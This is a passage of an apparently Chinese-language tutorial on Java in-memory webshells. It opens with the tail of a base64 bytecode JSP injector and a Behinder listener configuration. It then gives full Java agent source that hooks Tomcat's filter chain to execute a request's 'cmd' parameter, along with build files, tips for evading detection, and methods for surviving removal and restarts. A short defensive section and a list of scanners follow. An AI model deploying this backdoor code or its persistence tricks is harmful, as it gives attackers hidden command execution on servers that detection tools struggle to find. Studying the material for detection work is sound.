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";
byte[] bytecode = null;
try {
Class base64Clz = classLoader.loadClass("java.util.Base64");
Class decoderClz = classLoader.loadClass("java.util.Base64$Decoder");
Object decoder = base64Clz.getMethod("getDecoder").invoke(base64Clz);
bytecode = (byte[]) decoderClz.getMethod("decode", String.class).invoke(decoder, bytecodeBase64);
} catch (ClassNotFoundException ee) {
Class datatypeConverterClz = classLoader.loadClass("javax.xml.bind.DatatypeConverter");
bytecode = (byte[]) datatypeConverterClz.getMethod("parseBase64Binary", String.class).invoke(datatypeConverterClz, bytecodeBase64);
}
Class clazz = (Class)defineClass.invoke(classLoader,bytecode,0,bytecode.length);
clazz.newInstance();
}
%>

访问后成功添加

相关配置

1
2
3
4
5
6
7
8
9
10
[>] Behinder Tomcat Listener JSP

[+] 基础信息:

密码: Aoxpcply
请求路径: /*
请求头: Referer: Jlwvndc
脚本类型: JSP
内存马类名: org.junit.ServletRequestFezjListener
注入器类名: org.apache.commons.lang.n.ThreadUtil

成功连接

Spring类型内存马

基于spring框架处理组件的内存马,通常包括Controller型,Interceptor型

Java Agent内存马

以java agent形式存在的内存马

agent内存马通常难以查杀的点在于不新增一个组件,而是在原有的组件上去修改字节码,改变程序执行逻辑,同时直接从反射获取的字节码将会是修改之前的,而不是修改之后的字节码

agent的两种类型

包括premain-agent和agentmain-agent

一个用于静态加载一个用于动态加载

静态加载的含义是在 JVM 启动时,主程序运行之前通过命令行参数 -javaagent:agent.jar​加载

动态加载通过 Java Attach API​ 在JVM 运行时动态附加到目标进程

agent内存马的编写测试

这里需要三个类,一个agentmain实现,一个修改的具体的类,一个attach jvm的类

之前在javassist修改类时通常是直接修改,但实际上,要修改一个jvm内已经存在的类,需要调用通过Instrumentation

agentmain实现

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
package org.example;

import java.lang.instrument.Instrumentation;

public class DynamicAgent {
// 动态加载时调用
public static void agentmain(String agentArgs, Instrumentation inst) {
System.out.println("[Agent] Dynamically attached!");

// 添加我们的类转换器
inst.addTransformer(new MyClassTransformer(), true);

// 获取所有已加载的类
Class<?>[] loadedClasses = inst.getAllLoadedClasses();
for (Class<?> clazz : loadedClasses) {
// 查找目标类
if (clazz.getName().equals("com.example.target.TargetClass")) {
try {
System.out.println("[Agent] Retransforming class: " + clazz.getName());
// 重新转换类
inst.retransformClasses(clazz);
} catch (Exception e) {
System.err.println("[Agent] Failed to retransform: " + e);
}
}
}
}
}

注入类实现

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
package org.example;

import com.sun.tools.attach.*;

import java.io.IOException;
import java.util.List;

public class Inject_Agent {
public static void main(String[] args) throws IOException, AttachNotSupportedException, AgentLoadException, AgentInitializationException, AttachNotSupportedException, AgentLoadException, AgentInitializationException, AgentLoadException, AgentInitializationException, AttachNotSupportedException, AgentLoadException, AgentInitializationException, AgentLoadException, AgentInitializationException, AgentLoadException, AgentInitializationException, AgentLoadException, AgentInitializationException {
//调用VirtualMachine.list()获取正在运行的JVM列表
List<VirtualMachineDescriptor> list = VirtualMachine.list();
for(VirtualMachineDescriptor vmd : list){
System.out.println(vmd.displayName());
//遍历每一个正在运行的JVM,如果JVM名称为Sleep_Hello则连接该JVM并加载特定Agent
if(vmd.displayName().contains("JavaAgentSpringBootApplication")){

//连接指定JVM
VirtualMachine virtualMachine = VirtualMachine.attach(vmd.id());
//加载Agent
virtualMachine.loadAgent("E:\\java-agentmain-1.0-SNAPSHOT.jar");
//断开JVM连接
virtualMachine.detach();
}

}
}
}

修改类实现

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
package org.example;

import javassist.ClassClassPath;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtMethod;

import java.lang.instrument.ClassFileTransformer;
import java.lang.instrument.IllegalClassFormatException;
import java.security.ProtectionDomain;

public class MyClassTransformer implements ClassFileTransformer {
@Override
public byte[] transform(ClassLoader loader, String className, Class<?> classBeingRedefined, ProtectionDomain protectionDomain, byte[] classfileBuffer) throws IllegalClassFormatException {
try {

//获取CtClass 对象的容器 ClassPool
ClassPool classPool = ClassPool.getDefault();

//添加额外的类搜索路径
if (classBeingRedefined != null) {
ClassClassPath ccp = new ClassClassPath(classBeingRedefined);
classPool.insertClassPath(ccp);
}

//获取目标类
CtClass ctClass = classPool.get("org.apache.catalina.core.ApplicationFilterChain");

//获取目标方法
CtMethod ctMethod = ctClass.getDeclaredMethod("doFilter");

//设置方法体
String body = "{" +
"javax.servlet.http.HttpServletRequest request = $1\n;" +
"String cmd=request.getParameter(\"cmd\");\n" +
"if (cmd !=null){\n" +
" Runtime.getRuntime().exec(cmd);\n" +
" }"+
"}";
ctMethod.setBody(body);

//返回目标类字节码
byte[] bytes = ctClass.toBytecode();
return bytes;

}catch (Exception e){
e.printStackTrace();
}
return null;
}
}

MANIFEST.MF

1
2
3
4
Manifest-Version: 1.0
Agent-Class: com.example.agent.DynamicAgent
Can-Redefine-Classes: true
Can-Retransform-Classes: true

pom.xml

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
<modelVersion>4.0.0</modelVersion>

<groupId>org.example</groupId>
<artifactId>java-agentmain</artifactId>
<version>1.0-SNAPSHOT</version>

<properties>
<maven.compiler.source>8</maven.compiler.source>
<maven.compiler.target>8</maven.compiler.target>
</properties>
<dependencies>
<dependency>
<groupId>org.javassist</groupId>
<artifactId>javassist</artifactId>
<version>3.27.0-GA</version>
</dependency>
<dependency>
<groupId>com.sun</groupId>
<artifactId>tools</artifactId>
<version>${java.version}</version>
<scope>system</scope>
<systemPath>${java.home}/../lib/tools.jar</systemPath>
</dependency>
</dependencies>
<build>
<plugins>
<!-- 1. 配置 maven-jar-plugin 生成正确的 MANIFEST.MF -->
<plugin>
<groupId>org.apache.maven.plugins</groupId>
<artifactId>maven-jar-plugin</artifactId>
<version>3.2.0</version>
<configuration>
<archive>
<manifestFile>src/main/resources/META-INF/MANIFEST.MF</manifestFile>
<!-- 或者直接在 pom 中指定 manifest 条目 -->
<manifest>
<addClasspath>true</addClasspath>
</manifest>
<manifestEntries>
<Agent-Class>com.example.agent.DynamicAgent</Agent-Class>
<Can-Redefine-Classes>true</Can-Redefine-Classes>
<Can-Retransform-Classes>true</Can-Retransform-Classes>
<Premain-Class>com.example.agent.DynamicAgent</Premain-Class> <!-- 可选 -->
</manifestEntries>
</archive>
</configuration>
</plugin>

<!-- 2. 配置 maven-assembly-plugin 生成包含依赖的 fat jar (可选) -->
<plugin>
<groupId>org.apache.maven.plugins</groupId>
<artifactId>maven-assembly-plugin</artifactId>
<version>3.3.0</version>
<configuration>
<descriptorRefs>
<descriptorRef>jar-with-dependencies</descriptorRef>
</descriptorRefs>
<archive>
<manifest>
<mainClass>com.example.agent.AgentAttacher</mainClass>
</manifest>
</archive>
</configuration>
<executions>
<execution>
<phase>package</phase>
<goals>
<goal>single</goal>
</goals>
</execution>
</executions>
</plugin>
</plugins>
</build>
</project>

最后先点clean再点package

生成jar包

agent内存马的常用手段

根据JavaEE规范,最先想到的点应该是javax/servlet/http/HttpServlet#service

其次是位于Filter链头部的org/apache/catalina/core/ApplicationFilterChain#doFilter

针对特殊框架可以做特殊处理,例如针对Spring的org/springframework/web/servlet/DispatcherServlet#doService

还有4ra1n师傅提出关于Tomcat自带Filter的修改:org/apache/tomcat/websocket/server/WsFilter#doFilter

关于service,doget,dopost方法

这三个方法是 Java Servlet 中处理 HTTP 请求的核心方法,均属于 javax.servlet.http.HttpServlet 类。

  • service():总入口,分派请求到 doGet()/doPost()。
  • doGet():处理 读取数据 的请求(参数在URL)。
  • doPost():处理 修改数据 的请求(参数在Body)。
  • 实际开发中:通常直接重写 doGet() 和 doPost(),而非 service()。

不过在内存马中也有会喜欢hook service方法的

防御手段

jvm可以添加参数,禁止后续动态attach虚拟机

1
-XX:+DisableAttachMechanism

agent内存马查杀困难的原因

Agent内存马会通常调用Java Agent提供的redefineClass方法加入内存马

如果想检测,通过反射获取的类拿到的字节码并不是修改过的字节码,而是原始字节码,因此无法判断某个类是否合法

java agent修改字节码的方式

通过retransform

redefineClass

redefineClass 允许通过 Instrumentation API 直接修改已加载类的字节码,绕过 ClassFileTransformer 链。其本质是替换 JVM 内部维护的 Klass 结构(HotSpot 虚拟机中类的元数据结构),直接更新方法字节码、常量池等。

直接替换类定义:允许直接修改类的字节码(无需通过ClassFileTransformer),替换JVM中已加载的类。

绕过Transform机制:修改后的字节码不会触发后续的ClassFileTransformer​回调,因此检测工具无法通过Transform链捕获修改后的字节码。

持久性生效:修改后的类会立即生效,且后续任何尝试获取该类字节码的操作(如反射、Instrumentation API)都只能拿到原始字节码,而非修改后的版本。

retransformClass

通过Transform链修改:会触发所有已注册的ClassFileTransformer,允许对字节码进行链式处理。

可捕获修改后的字节码:检测工具可以通过注册自己的ClassFileTransformer,在Transform链中获取到修改后的字节码。

相关工具的检测特性

通过 Arthas、Javassist 无法检测 redefineClass 修改后的字节码

可能可以检测的手段

内存马的查杀

基于文件是否落地

使用tomcat-memshell-scanner能成功根据无class文件进行判断,不过后续执行要创建对应的class文件的话应该还算比较好绕过

基于arthas内容分析

根据继承实现类黑名单,注解包名类名等黑名单来做,这部分可以使用阿里的java诊断工具arthas去分析

内存马的持久化手段

被杀复原

在相关组件的destroy方法中加入再注册内存马的代码

另起一个线程用于循环检测内存马是否被杀,被杀时继续添加

重启生效

须往本地写文件,可以利用addShutDownHook方法在JVM退出时写文件

写入依赖Jar中,例如catalina.jar中

修改Tomcat的Lib也是一种手段,在默认开启的WsFilter中的doFilter方法中修改代码